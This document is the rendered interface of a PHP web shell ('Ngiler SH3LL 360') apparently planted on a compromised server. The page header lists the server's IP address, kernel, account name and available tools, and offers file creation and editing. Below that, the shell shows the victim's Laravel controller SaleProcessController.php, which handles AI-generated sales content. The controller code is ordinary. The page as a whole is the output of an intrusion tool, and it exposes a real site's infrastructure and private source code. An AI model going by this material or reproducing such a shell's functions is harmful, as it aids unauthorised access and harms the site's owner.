Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
tbfguestbe.tbf.ro
/
app
/
Http
/
Controllers
/
Api
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
SaleProcessController.php
| Size :
9.13
KB
Copy
<?php namespace App\Http\Controllers\Api; use App\Http\Controllers\Controller; use App\Http\Requests\SaleProcessFormRequest; use App\Http\Resources\SaleProcessIndexResource; use App\Managers\JobManager; use App\Managers\PromptManager; use App\Models\Instance; use App\Models\InstanceAction; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; class SaleProcessController extends Controller { /** * Start the sale process AI * * @param Request $request * @param Instance $instance * * @return JsonResponse */ public function startProcess(Request $request, Instance $instance): JsonResponse { $validated = $request->validate([ 'force' => 'nullable|bool', 'type' => 'nullable|string|in:resource,page,email,ad,phase_2,other', ]); if ($instance->has('saleProcessPhones') && !($validated['force'] ?? false)) { return response()->json([ 'status' => 'warning', 'message' => __('general.sales_processes.process_already_done'), ], 422); } $instance->update(['sale_process_status' => Instance::PROCESS_STATUS_IN_PROGRESS]); $batch = JobManager::generateSaleProcessJobs($instance, $validated['type'] ?? null)->dispatchJob(); return response()->json([ 'status' => 'success', 'batch_id' => $batch?->id, 'message' => __('general.sales_processes.process_start_successfully'), ], 200); } /** * Retrieve data from all Sale process tables and and group them by the "code" column overwriting common keys. * * @param Instance $instance * * @return SaleProcessIndexResource */ public function index(Instance $instance): SaleProcessIndexResource { return new SaleProcessIndexResource($instance); } /** * Update data in one of three tables: SaleProcessEmails, SaleProcessPhones, or SaleProcessTexts. * * @param Request $request * @param Instance $instance * @param string $table The name of the target table ('sale_process_emails', 'sale_process_phones', or 'sale_process_texts'). * * @return JsonResponse */ public function update(SaleProcessFormRequest $request, Instance $instance, string $table): JsonResponse { $data = $request->validated(); switch ($table) { case 'email': $model = $instance->saleProcessEmails(); break; case 'phone': $model = $instance->saleProcessPhones(); break; case 'text': $model = $instance->saleProcessTexts(); break; case 'ad': $model = $instance->saleProcessAds(); break; case 'page': $model = $instance->saleProcessPages(); break; case 'resource': $model = $instance->saleProcessResources(); break; case 'page-element': $model = $instance->saleProcessPages()->latest()->first()->elements(); break; default: return response()->json([ 'error' => 'Invalid table name' ], 400); } if ($request->code == 'generate_sale_page_testimonials') { $items = $request->items; $data['items'] = []; foreach ($items as $key => $item) { $image = isset($item['image']); if($image && !is_string($item['image'])) { $item['image'] = uploadFile($item['image'], 'image', 'landing_pages', $instance, '_avatar_' . $key); } $data['items'][] = $item; } $data['items'] = json_encode($data['items'], JSON_PRETTY_PRINT); } if ($request->logo) { $data['logo'] = uploadFile($request->logo, 'logo', 'landing_pages', $instance, '_logo'); } if ($request->image) { $data['image'] = uploadFile($request->image, 'image', 'landing_pages', $instance, '_image'); } $updatedData = $model->where('id', $request->id)->update($data); $model = $model->find($request->id); $model->info = __('general.sales_processes.additional_infos.' . $model->code . '_info'); if ($updatedData) { return response()->json([ 'status' => 'success', 'item' => $model ], 200); } else { return response()->json([ 'status' => 'error', ], 500); } } /** * Modify the resource by AI. * * @param Request $request * @param Instance $instance * @param int $saleProcessId * @param string $table * * @return JsonResponse */ public function updateAi(Request $request, Instance $instance, int $saleProcessId, string $table): JsonResponse { $validated = $request->validate([ 'text' => 'required|string' ]); $saleProcess = $this->getSaleProcess($instance, $table, $saleProcessId); if (!$saleProcess) { return response()->json([ 'error' => 'Invalid sale process ID' ], 400); } $result = PromptManager::generateSaleProcessModification($validated['text'], $table, $saleProcess, $instance); $saleProcessData = json_decode($result, true); $this->updateSaleProcess($table, $saleProcess, $saleProcessData); return response()->json([ 'status' => 'success', ], 200); } /** * Regenerate the resource by AI. * * @param Request $request * @param Instance $instance * * @return JsonResponse */ public function regenerate(Request $request, Instance $instance): JsonResponse { $validated = $request->validate([ 'code' => 'required|string' ]); $instance->instanceActions()->create([ 'prompt_type_const' => $validated['code'], 'status' => InstanceAction::STATUS_WAITING ]); return response()->json([ 'status' => 'success', ], 200); } /** * Get the sale process from the database. * * @param Instance $instance * @param string $table * @param int $saleProcessId * * @return SaleProcess|null The sale process, or null if it doesn't exist. */ private function getSaleProcess(Instance $instance, string $table, int $saleProcessId) { switch ($table) { case 'email': return $instance->saleProcessEmails()->where('id', $saleProcessId)->first(); case 'phone': return $instance->saleProcessPhones()->where('id', $saleProcessId)->first(); case 'text': return $instance->saleProcessTexts()->where('id', $saleProcessId)->first(); case 'ad': return $instance->saleProcessAds()->where('id', $saleProcessId)->first(); case 'page': return $instance->saleProcessPages()->where('id', $saleProcessId)->first(); case 'page-element': return $instance->saleProcessPages()->latest()->first()->elements()->where('id', $saleProcessId)->first(); default: return null; } } /** * Update the sale process in the database. * * @param string $table * @param SaleProcess $saleProcess * @param array $saleProcessData * * @return void */ private function updateSaleProcess(string $table, $saleProcess, array $saleProcessData) { switch ($table) { case 'email': $saleProcess->update([ 'message' => $saleProcessData['process']['continut'], 'subject' => $saleProcessData['process']['subiect'], 'sender' => $saleProcessData['process']['expeditor'], 'send_date' => $saleProcessData['process']['send_time'], ]); break; case 'phone': $saleProcess->update([ 'script' => $saleProcessData['process']['script'], 'responsible' => $saleProcessData['process']['responsible'], 'recipient' => $saleProcessData['process']['recipient'], ]); break; case 'text': $saleProcess->update([ 'message' => $saleProcessData['process']['message'], 'sender' => $saleProcessData['process']['sender'], 'send_date' => $saleProcessData['process']['send_date'], ]); break; case 'ad': $saleProcess->update([ 'headline' => $saleProcessData['process']['headline'], 'description' => $saleProcessData['process']['description'], 'image_description' => $saleProcessData['process']['image_description'], ]); break; default: break; } } }
Back